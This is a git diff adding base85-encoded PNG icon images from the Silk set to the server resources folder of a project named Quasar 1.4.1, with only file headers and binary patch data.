z-KY>(MO>5!t%8VV7Yo%QYGN8YNyf}*Cds_{bMJfa-s57@1`%R=;N!qq{J!tNIfw}V zSC>!nb?#@X*H7?^&ws3+j;XJ@K4fRgr*T&=dxA;QrFmAo*X`tIwBNtPka>1QBzs=m z{g0)1*_R&2(GuTpzQa)xj3mu(+O)`;Va<)v(SK@8z+Ic0Zlmda4xjavYPGDY5 zFf%&E-w*RNuZ&sW32iN4H3Sv-bCerFjl4%J8W&=wzo+`*5{ckf*7fdTVFFB8ACmlrB(d?gOB#nOp>jh}F32Bg8Hs zHo)l@AP#XFT#cr*Cf(hD*f!GL1B^eu#=Y0Fn7|<7VqEkJi5Kb+XFy^QgSaYUE4Vm7 zYye8VbvHhth{7Uq5sByPvI|SFI6!O(u@%H=oXG;{e*qG@xwtyp6qQpMT*ebgg3Exk zBh~;R;?=wIELLlg(3vHGHsAjBk| literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_brick.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_brick.png new file mode 100755 index 0000000000000000000000000000000000000000..5dea9769a2c160625e9858f79e3ae16006df4a08 GIT binary patch literal 735 zcmV<50wDc~P)X=_7qeB4SLW3qiVT!56v^ahZ*4{{+FMqC1zm7hMQ0y6_JWp?^RP z)}pkQwqUW9(#A)lX)>AV%w+C4E}~V7^#_Lo7w+e9?lr2)zf!B!ysfRRVh{wQBj`uX7Aw8)BgFv&O-ky7BrtfQQkXqB>oLV@q_ip*Uq9`#gONJQNYY5h)(}H`T@yzctU-I Raqs{D002ovPDHLkV1j*fRJs5F literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_bug.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_bug.png new file mode 100755 index 0000000000000000000000000000000000000000..4f791b684b7b97da5d64472b33d5820f762abdf1 GIT binary patch literal 829 zcmV-D1H$}?P)_96=|(GO{L8?@n2w;q7vUL+;Fb_ma5X+-J+XMx7AJc51J)}zACp) z%^6jl5wPj|7Z%1!Udmz84g)tm_X&z4LmRChyo@%_A)3v(n%e49GdfuRb({LGe>e`S-g&F#K>GgZ z@7yWn=_};uY}~;|XFsLxhGc#|n;kMYzg>H|c3xAHG1F%H{E|6zz1KSQ>|T;#fqpwj z@8~@`m$p-F319y93x5@cnC~Xvwu~kk8#+!^8)HBLlm=s{zrKb{Y7v))2e>v?VDGXm zT)KCGl~1)(E;!V>W`&6SVG*f^1hf2+kBNgSNX)~S6t6zLoo_Dp;FySQ>6QGM`<1ns zS9tI96TIHEVC4NHcdr7*A~Xq=fHfN$x)l@PWTSBrjmxNbh@S=U{sm|t6Ol7MJ1o_tkW@mo8YBg}5RH8x zKoga05;3vosRrUt13druz{%auqr8YA#iK$2b1^{lv#HYG;1s0PmeerU00000NkvXX Hu0mjf;2(pv literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_camera.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_camera.png new file mode 100755 index 0000000000000000000000000000000000000000..c9519416dd4c314413210b2cf30d803e0be7b4f0 GIT binary patch literal 729 zcmV;~0w(>5P)9iwQ23rWgy{SU?|b1z@kNMgD|5I z+C&Q%F0?XIQ!9zYvT|nLd-uKj?)|p#M`Y2aFB}e>#o=%`UnL^^&-uHB!NI{H;L5hK zi0r@^!|?F1>hJFttu>>gqe|^gFfcG6y}i9GEG$r|R2Ul@xrU><>lpfesbOYjhPJjgYHMrh?(XKzmo}{m@jUWhESy>^U&l3bevp@g1 zW4fyL=uxFS0E)$9w6?bL=tDhE-+MrglMRiuA3n^)!~|VkUChnR(b(9CF(&6L@s2c| zxSLfP>8tAq)-W zav6~t!~>O4h^JUvTO$m^zZe+hiA%6a4spWz`Z}u%lU%Etrb*_1>*rh#zx%1cYGg(X$qqQbU60+GW`RY9+;};3T5MvBJ#=|ch zV1MUT_IElCMiEsx!}x;{#Kr(<9bi+9wVLeS3$z1MQ&RxrK1M{W#)U5tyMY(JB@x5v z6Z;USQA%*eA=V<+P-y94@%9a7XJ^&s5@SSMiZfr3bOV%+*a}Dr5+mXvHo&E2#Fjy+ zT~kg(6c$OpA?c4z*bOAz*y1u`ONb2+r*ZK|0KH=%iTj?0>(!=`E8>ctNETcXWZzZ? z3F2+C@+?+sk;KKn40JrSbgTC`LJx}KKVMG(^&-K^y=_VT?>qklwf%D)EyQ}q00000 LNkvXXu0mjfDN{)R literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_database.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_database.png new file mode 100755 index 0000000000000000000000000000000000000000..5193e2eff36d6624e9712baebb81da20959056bc GIT binary patch literal 687 zcmV;g0#N;lP)l`516uN0Cy%QCn*#P zN4+?XnV6U$gm4+)tOVYBPqW#iR4O4NG#U+RwHhG=0M1IFaU5fYPBd9i&QF= zBOt%>{_2-vWqR6}e=Q|zuYC{Uu?29>0nqF9j!t;*`+!k9HF4uzWQ+mrU&a`G`uoz? z#gBS;ID~+64r9zo0Iw1eXI_!I(0|i?-!<9Z@v?#tyr}>L)YYlM;xxzWB zci)1-?#>Q-`)#}rhzPl%F?4Yb=iJRf0!x1A0_U$k1q4)4Y2){ok#wD5&4{9uo~C&1 zQXYT84`6>h%AjLt$N-1h{%&j_q^YWt>=;P1=igr4zlL%fL;19?jRI!bA-Ztb`U~VH VYY-ljn{ogE002ovPDHLkV1lweE*Ss- literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..112b01638e6f3b5995ff11a07c7ef9e3e50b2780 GIT binary patch literal 666 zcmV;L0%iS)P)#NXU(rVJZ0_Z7&gXp3z2_(q;VkBGMmsaW16Y~9 zp7fgr29!F<6RP>ub)&O4fa*V43V`C3yGz;wP~!A;4tPPFm}sl;XZ|Jd$pb)31sm2?QX#5xu zDMxIG3FC+rZ21>aF->7BLCkLhiNJ=4Xh0M6jm8n%ee?z>@vSZsmO#QHQGTDG?-71; z|3Slt3Z$mMI}gV3jscN_SKq?<{>Mjwg2jd#=*TQ%RKcRuE)beKot?IvC(#|lF1=DdvMQ?PApSc z(OerDrLOlX<;5AkFU)$g!?9p2(@mCY5j}K^A z`%F()Gos|V2Oy!%=+bUOREP)Iz!8ao4L~j+rb@K)1;4cy?z}jjz=<|ot9ojHO7-2^ z`+I{3!zhCP=C$6fDzWuJ*>mjD0&07*qoM6N<$f)0Et AfB*mh literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..ad669cc7814eb52a0990c156e4358bd8d523089c GIT binary patch literal 733 zcmV<30wVp1P)Ln`3m6cBjUs{~SZF1Q|l+PQ4$F&BPWU{LQ5Rm}%Yp+9Uy#II9~vucwq!AZ0U3VS=&d(VjEIGJ6F` zxEYZ+Do*Dgo&xS90WcC^bwyaXLaY<13Xc{ys@jsg}$ z5G+=Y;0}5=7O5P92480MbaXQ7%}6B`AYHKOFX}h+}d5}LKg{F2q&8;J?*AuZJvty1~9)ANwocD zyswqfv|ByYH|QiPmSI$m{Oe0B$hidL4Saj?irNjUNTgedgFr;v@FyS$FAiPZ+kvpX z-^tbQJARF~w@xzf^f?uc>#?PNS(q}q__!blpq^>0+$ab5#~RNbYmZJJIiAFc>3MLM zPag)Sv-P!|JI?j?{%Z?=0rqdL^*1#yN_MoZL{i~%zgRlF`+VQf|HkwKvQRq#2{xLW P00000NkvXXu0mjfz!^#T literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_error.png new file mode 100755 index 0000000000000000000000000000000000000000..1af8809513d4c9d70db4b7b91b28ccc8e960fd7c GIT binary patch literal 727 zcmV;|0x127P)k#I6Z`-y*Ux@M08f%%l`nO z@l-64O`xJk`4{0rj^gBNYW$6$A&5oQ0giObg#;?wmNmerFRqL&f!YPa!aV7gQ~33* zfT5J{XKv&rjcsR%B~qAp1|l#14-k69lZ|9rPcN;iD1z8A!apyV{{Def^AYlcmq^zM z{^pAiC{+MejVefK5RK;0sDQdzB%ERX_b_W4yQtl`hv6@eNyHcMHGr_%2LY<$kZ=mI zQ;5wWHis>aF*}hXy&*$1-$TQ$)67hSNE9p|b`fAz4H4@8pl%us^QfCAA3&5LZg$f(DBDB;xHPT~|VaAD}{1e9QKZbBw*~ zMXcCm4YU$mAHIFO9iJnQ!&w5gNgG!mb-C4wrL6ZgL^9&m+c z>c7)*W<%?-n@u~DM8!T-E$^RwWp8&YCbk}uhk1AJ(xi%Xt_bM6v43>;$w!-F-cQuc zP~~L6BbLmP`#iu<@71UAl|IY`*6+XDT~<+4q$+i}B7&+m{RPs0S{LgvUQz%6002ov JPDHLkV1mJ{Oh^C# literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_explore.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_explore.png new file mode 100755 index 0000000000000000000000000000000000000000..0ba939184d5e2257e380004ed799f00f66a49277 GIT binary patch literal 679 zcmV;Y0$BZtP)|B!lwB?F)%&66ocFx{jBe!85I&EQ#75Y65B5(Mx_0d{Cg3j-*JeIvt~v(9 ztY`S8F>>s+V~sTmN;}4H=Z!HS)(DKjt$rUaPhR;f5G}c|OUlyu`rOm=z&+MjoL2Ek zTm0^)e6oN~%J`&=(gmjK2N~YhK_xcK zEoV5BWBb;K=H{^+EtW(wWXLTdS4FOhvL)n}sIMf1VICJdydZX>U~@QG{;*1X#WjC) zr1dbuM}d?FAAx%5Xv>qN8EFR2i(h1**=X>G)oOfg_U7?X#32k3>qH~N`C9QvE@}^n zGhqY6++vD;yw#&i6Q>Sed3?u6;$N;m{5aHRIk}}XyzB+bjo7>Llo{{)Y8o@oYqL`? z&lySlkNcO8o-Otluk{V>>wfd%Vbe(Bf8CuZo#-Fld&_&*ZX~f0KLJ#yHcZ$RnzjG{ N002ovPDHLkV1gJ z|Dc7=n2G635A>de;xc@E0j2M7@H(t5!rCkp!6?yvUBi##N-2;Uj8ZU_h2kts&Oq;J zIC=x#-G;d=3|@e@3y=pxC{>(o@>d=Z*%;^yN~LK5XljM_0a%;>=V0Ixe7FyNry#Yr z=72zHahAv?5GUB&EZ*`Lf_OJ>I*aHrB-nttEU{D@QY~O!U8H-@dGIg>CCx6}zq1} z;{+Te_dkL{0bV{?a)uE@AR>2Fx75VHCIjaZip zz4c^JPNZ>ZEfNQp2HA;3K41}DyOoZJ{IZC3{+2-1AN~69++l>1DANDjT>;dj#mUp( Zp8hoRQY~32;;v|2 z6e-B2B zCE(hxS3dK-rRD4TH?wNZx>((BtjuOJ_pgyBGdA>1yDCbtXz88 ZdJfaffI=X}!C?RZ002ovPDHLkV1kN7cwztm literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_go.png new file mode 100755 index 0000000000000000000000000000000000000000..34a736f70261338c9bca98c38b78193740fa83a0 GIT binary patch literal 694 zcmV;n0!jUeP)N@Zw27r|iugjyK_i?%mf=ZN1k*q&Uedp~2B7g_+fS`hk+Nr1A{hI)z0`VHB6Nndl zX$Di6C%-U4JXr@~z-vS-U`e(1B@n-FV+JTmdRsylL39C=TOrljOR~Cct>JYCvg#mK z1ulqf0!%<`#~!NMu5Ba=9u&fmP-Zhc6E?!yaAE01t20W#1|(JmqlC- zu^GHsMqCzbhR}vI*0gbTWQ<2wA~0LlNQ8*Dc(aJuEaI~Cy?zX0(B7i0rEb>&+G>xJ z3k&o-xX8WohAjXsqHu`)jo1ugGgz-V-_eT`kMj#kXL{&TC&D=t zDS)urCatsVt!&16hZE0Sc81**wR}pC@@4w{a?#MB{`E|khgw{yHQH-JtJz=E5u9kb zz}Ukc-s|q!`(``1y|H=m(r1&lJyin$Xxq0vwCmG)?a3aY8mvDz{qFmxE%s(BuO5DJ zao=8%%g&`=etrMina`JM0D#h8Jll;L2^RBAyP%^_Ir7+%R=MGUyuLc0fTceq_VSCIxlQXj!^EtWD%$RJW zX!AVkD?c8*u(*8SKuQ%@sC2qF_E=cn!Sx&DIVH#~lNqxqs}H+#{({Zn-5=@{)nku5 zf3}-aBFOu1S^wxm_pI)=v}cv8*Vq`5TY6m%JnGJ+i+=z5+uz2M$%)!Lrb^SB-TFjs zI#kR0$JPvgy5YYwXYD@xvV|(KJ<;r3^2e!42m{A`)tOG6Dc~%w|7dJ^j)lfdl{m00<<522?CW@PXKACkTpQB_fKD)<(q6!a}sL(AX*3`zS0F zw6d`gQ6nNMK~Z8t%sab#@63NJ?$yLsPBCXV|NLj>KQK-b|H7&B_YQ%s0xN|BLAfl% zK+1oi+h>k$?dokba4tnaZVoGI#E^0B%H#h38c1|CdK&a!zQu;VzF&Ic9iQI5;=<{E zOk$B2fcGhV>({Ym=PnYT;FAj8dn$>?49pfWFbM-XI%?E9m%txc2@y@C?;dP_QCqrs zvvdCUvJMaop1&SuR6~Utiv&Ku`O2}q5X?xO{KmC=Zd9CGkhF8ehj);`CslmXQ3g;_ zrG|hIjFg}jmUXm;2Z&h$eksn?3DH0>GBo(tcq2oDp#9|0NXea-WyGwCOjz?1`Rq5& zZX2Qb>=8GQ7%)_3U|1H(c2}F=Izu#4oN5-DWOJZwmVA1O`o?2a8>?8cdKu2SVl1iP zq|WCjCz6WKVvL$h$vtUjFUvNa1PmmEu_XV<`@sjqFpI?*6lRb$srDY{%ZD*8-Mv39 zIGmD8iY;vJC5n?MPNOhEx5ioCJqcl=)TdCKrE^V6r8aC2uN`dwq_mMNVEHHtlf~gM zQSQf4m@1nK11UgzKG2j*azqrqmyP9(zs#oRo2^xh85S5Qv+*!D)|Jmx>sZ}O6|g#} z2gNp!Az!fbk=SZUnYHH)TJ4J;uOHlj*oULO*xx{adzxXo{Zsk@(!pF(RdX`D00000 LNkvXXu0mjftamTb literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_key.png new file mode 100755 index 0000000000000000000000000000000000000000..fb9b4c2bbc2c94a4f777e5c3d953dea265f7b846 GIT binary patch literal 720 zcmV;>0x$iEP)Q5eU6=iGPZUQ_QKgBcNt&>&x>Nl_%pLP-{EP)t*^8f(^47Ru^ckc9;ncG5Hn z$wpF4h8c|SG30W;@4WAM&pD699qz1jPo2)`>HL4s|2+Mbh|tP9Dmzt|fpo_ES>$xI?G%C|#pH zn}?`QbvjO|i96e#XR_G*pNXHuZEC>1g@^^m2zk1LbU5d@t~JhF6b7+`hZK{t7K-?yV@KHLV-Bua}n zIMa@JjjMfT=Er@!`GHDJkxF+n{-BQP>|t@&D5Olg4rKYi0iz`2?F^<4VrnFnGGXrt zy0)$bpl!h*TLzl5QNet0I%onCO)#&A`Rn=t4F%tdx$F`wuIO+;;LkporSoW zoq$9{T!gQWHXgeQVvG2sfVdLa;%vQ)xEe?d$()Q3BjPPS`Pt~?N{B7a-V3vx%l`l( z7UH=8BcgDK{XHuzHf_5SVk=Ftj~d^!a{yv|!Pb9uB-Qp1A8L^{@FB<|#KnL?bmLUo z;i5>y__zs(;tTIDAL>Kciz57QrUg)s4PLJQE&Txw*NhpH^5>@j0000@MUe#( zhB3noqr8rL=gzt3o^$T+_gLKVGSl!Zzde1v-@eZys>*CLbp3cx>})$+C}a+0vUa(; zuwcV+YbPt!dL_CU);O`^z@_&x8(`$t=}cRPf4N=GyxD zM7%!<;-;UA>YyV;ukYgOS;P-;jT&Ai#gq+xelxcE1taS9c5OWuhzKZvGWqrn(d)|; z*X9Ktw2Ufd(- zSc~Tru{k7FvWquRAB?Cx?Ekpz=)En5w3Xd83sde7sJ?tMy_A8OEe){Z=%X@#!FfKO zPwm|x$@m9cTxb5KeRQnbk04ZQio?gb2F?ZK3nf1F@A!=}G(qrLuSvntR6siqXN@Md(3YB z1Q!9`v^tHZE^EUI$Rb1p@KN8JdR-7aKtKgB*r+xG5XX0i&+OcSw)XxzzjmB^@Jsp$ Xg^DuH;4UY{00000NkvXXu0mjf{%TnI literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_link.png new file mode 100755 index 0000000000000000000000000000000000000000..b9b75f6c398044761b2e211639a3b3ea5dffda06 GIT binary patch literal 785 zcmV+s1Md8ZP)aL6K`V-vR#JLK(X*jEKVNlbHxH0QOXN4CTjfvGt40I|M#Ku+)Yiq8d z;L28c;TGg(*&-*FfRgVFU3!q0bKn5y+w&YMOEeLrM3go2};w-m?^(jqeZAz2= zL*$E|+nBzw5`1~&d{HnejR`pp>Gc7meprxN9t68G0wK!~R}w-lLD(()XLo=+p9zi1 z=86KRES~3g$*>K{#fON0>%{i-Rcw831>-k@nY{~UrUN@)b%g6=XPXGQk0pwNVJV+w zqhRK2*zxsX)1w8u`H8F=|Ghf>#)>;2#|sV1xT0X_I4_<*pC+(CE+r1;*Z|TI8@M$i z*d-lO3zv}$G$5CpN9eh9kKmasBji}*;vbP^#=-v_K_>cy4EBLtz6Ex%6{+9_B)^|S z!hagM#0)}%dj*eV={z3?zdeTC)u(vt>V&z^2#3Rg-flhS-!~vKtwevfR?M0Edok2? zHY=CQ4-^D8DJSp@k{b>@wzk4zu^<|aA{-9Gfx%$lO768pBDvDi(!x+d zeSQ6SO-&82P$*DWS0_Sanxi!;puHu6!{kw^RP$!DnQ=Ou+itfTcDo&IZEa|8Zx>^l zqcz$?drJi6<>mXTtE;POYipO9nwpXtjfNv+)M|Aj;S`DEG)HT+hxYyg@Y?10VPWjL P00000NkvXXu0mjfBPD6B literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_magnify.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_magnify.png new file mode 100755 index 0000000000000000000000000000000000000000..0a3e7985c183ffe1e5547ae02e56c2f160a9f3c0 GIT binary patch literal 686 zcmV;f0#W^mP)D5KR;Vfzpb!Z%f>egXcc4dbT1v5p6tGa?~4~cr@F?*lxpV^g36B#KYBzmnZT=P ztU#cJlp8~0$(9F7oRNX)Cvl||NCS*gXn$uoxwwWOL_|iRZDU%Zz_0slQ_$jLLxRmY zYQN^Gtv{u{{(_hrr|*biyHKPvp-87(y3%oSyAf`6gSqQdvkem?<%kV2VFIy&t*;YR z^XwItnC$Lnb@LeS)+TUb3F<+F@;111vPk~infZG&LxGEul+|^@8c0|rs+7r$%#!LE zr5D8z0$30Mgs&^xY<*ag!SRckT)wd25;?dXeRPlB*e?_;Hrzy)UL(dsw1?<2V)huH zyi4xws{Xj*>4;d`B@z+iV{2a;#ioMj5;iI##sghy=F5nwf&>hoN|`HnUZxu!1c+FT zjea*e84uB==DyhMT;3-T(Gavh~9-=EPu=N`}Ih&YW^IR@kVBB2dh1b*<~=i`|vgv%&02Yx*P)SD11&;F(U0?j>H Ur1R|wc>n+a07*qoM6N<$g6sr4fB*mh literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_page.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_page.png new file mode 100755 index 0000000000000000000000000000000000000000..1ef6e11438f3226f88bdc457f55d677d1f2f8409 GIT binary patch literal 688 zcmV;h0#E&kP)CVGc zN?Hxg{(SJp>2>GN9JetoZ(aZH;Ije%0FdZ{S!LRVX%}YG;=d8L^N!mJkCd*SBx($jgG)S}+Le)f;q=GIn30YFNh3ZW|nh}2rL)`=3ju9K*d z<&~Gte>sT=5|RjR+}A(|O&3gS5t&*G5h0Um$c5IgEgxJl_8nzY#B+YU^|Fhvzo-^U z6fNn3(lBMcl9{Silx)4RpURdFw}1BZ?>}8S&h8fk5`hjKW@sP$LJL*otPOMf+jp$? zcC^*PiL>vkTOZln=wuc^%A^$j`TU&aa3ETVYE{(r=bgN835`stIePGw{uwD`7K9Y) z=4)VDHnkl3YL%JeLce6>Uubzae&kQ4(g>C+WwLc_Qfq*FlK?}j&#@fb05W&WX zs7RER>}K7~?sqveuf<-nYKRA3hB+LbdC!>{CyArNId=s(54dp(7#BBzuaY8?jufy` zmStgPnpU3Y+S=OM1eO4Q9AMSVG#Cuj?RM2}x7BPmWoGL4``X^#-UOE1F)gf`*=sW+ z#)z3w6a|Zmi<6o(O>cSr6G@Wby(dW$vMi(1>CkGm4j~_2th}9>UtV@@nkAk+xY-;z zAxV<4E1Ywf*&)EmU%$NexaOQ2%~;?ZS9y7HsvVLf!8teCPXL&5Vwn{`9ump~{5;Mz z@X5m8Gx-NJ1XRw)P+&z3MNzfi)BpaF#%_}@J99_@SqVgZeE}3mPMzk`-KQgf(~Lq+ zHE^grpz4XUYa1-47pTvjWcrrICx3pvKJCDh&Yol8#yuc{goqS7_vxoKQ21lGv)3LW zi4Z~$2q~4MkQ4jwQ0So0MYd02b*e#*$A(}6F$T)kF1@{P%ChV>&`c?iq7kc~$T~xa z?Ngt1kh!5F8K^?BqTZ-6lX;W$X4pb0IRdg4vi+e#2jXA^>!R=rg##3GP!2ZvRHQ0n z+xmO;s&}G6Ym@RLIIS>4_D^{q3B6vEDiyAvGHkpeHC#BN8{LcEx^4hiFz_l Z{RV0XY_dNf>kh&a;2ZlkWYymR@qWf#HF|^E)s7jy`z}ZOho~ zD6RPe)NA9ojzH4Gk3xn@`KmX4>cNY-Qnjj-!{4&mf-ec!j7O*V1huJity15lFO^;S z6LWhgn1tsBYPgD`r^MO0_0f-fr4$J3gp1!EX7%ws^!t{uxyE8+x<6QRRo`Hh9wi)U zgR+2l9$F%7l8qPN#Uw5`CA>`qF8p{F-$vZGdxCrK+3WbOLoS@*SmPWcw{Icz^ZdGU z{gg+l9I*)|$sks+y*d-sHl5`LdU=s(W(uFbM8NI>(3<4CYj>Uh;_URR9!hdn_vkDv z6EDqRlP+$y%*fLpqEO8L@)J4JCGY3ZCM9+Xw7xpZiEn;BaQyV;IgixA%iqS(!><7r zL=YRITW7G*Rm!;zjm0KylOn3irm>^^>Gc%tHwKP!zct0o0iUE1$CA4>1~l0uATp(*OVf07*qoM6N<$g6ge~ A^#A|> literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_picture.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_picture.png new file mode 100755 index 0000000000000000000000000000000000000000..052b33638eaa0f870a255bfdd5df5b79fb01a89e GIT binary patch literal 713 zcmV;)0yh1LP)Sp5G=H^urQrsC0eOy7edOd zZ7d~Lu~=e+5HQOw5_MxTbLZpEz4x5+{#{`tTev=tN#ehp|LXfMhP~b!qlMPY3^O+5 zlq{J!O})4fIKi;rd-I*MTbsRJ-?(RkrCAgCdT00TzzNEVZm-w3>$fIc-v5w|;a^m3 zm#KyF08Pzpe zb7ryOZdEg)0T~jLaO1mYch`nz&X^V4BRa)fD-uj=XaCldc=sB!STP zt;b%x&@nR*M+9c1pMS(1#*56;r$6GE{SWx%#sTA(KPSb605cl~l4`u|Hh+9WZdaff zVm1Js!Vp(~d!HC1SK5~L;STM!*NHK5?u9Ez5QtXDTXMUKT=?RE#qB-LTE(49d%VXn zE5Ley^+2!)QW-FW3lrJU+(Od^V#BJ zAQpu6Q*3UZXLH;6hw_9p`2lbCfQaG@q-RZ^I>Hr@UQU`nhdI;qPXi?DsEmmZ5T}!Pu vECtogXE(on?K#A&7z6%~0K44cy2R4oP`hnXtk|+}00000NkvXXu0mjf(HBcn literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_star.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_star.png new file mode 100755 index 0000000000000000000000000000000000000000..448e46fd5ac04933a1121e0d07748d2894e93940 GIT binary patch literal 755 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 FV1mw881w)D literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/font_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/font_add.png new file mode 100755 index 0000000000000000000000000000000000000000..b709ebaef4f32cf6551275bbcc3413ed5f51b75a GIT binary patch literal 634 zcmV-=0)_pFP)JJns=rXO>fi=YdvYp=OyIuL^83ysEIf(LtP34vHf@P1syLa4L>s)tjLDRY?|E+S*&m<}gEDA3wCC|S1 zC~n%F`=*)aLx8xUX62**Ryh}!5;VXx>jJY=!}V2J^Y4E*NjsaSAA6F^IPpwJ<+6wW zU8=5LQujKb`Z+F#fckUgU8t^YpU|s(=Orx83-p>b9R3rvXOE zXGG&B-+ooO{Lz1}<{Ou-vd(X^%s98zwd(4Pig^qE=T46QpVsI9KeEN)lV^oq4T=E< zv8NgBOD@j_`PDq_3`$^y)HdH}T%GuT%ay7BFFf1zzkheu|L}g@|K{0}Jzxd;F{ikI z(c@COKW(O z#rEI&moVY>|A6M}Z?yxC^eQ{;6;QI@qowV8c#%)F;s0${=KMznn=VZS89-cmx6G0L z-n}d7fBUWku;%ui38*e0gnR5;6H z`2YVu10|S&W(GL4-*9m5zR~L0cWa7s=goeHmKzfsTW-vJJns=rXO>fi=YdvYp=OyIuL^83ysEIf(LtP34vHf@P1syLa4L>s)tjLDRY?|E+S*&m<}gEDA3wCC|S1 zC~n%F`=*)aLx8xUX62**Ryh}!5;VXx>jJY=!}V2J^Y4E*NjsaSAA6F^IPpwJ<+6wW 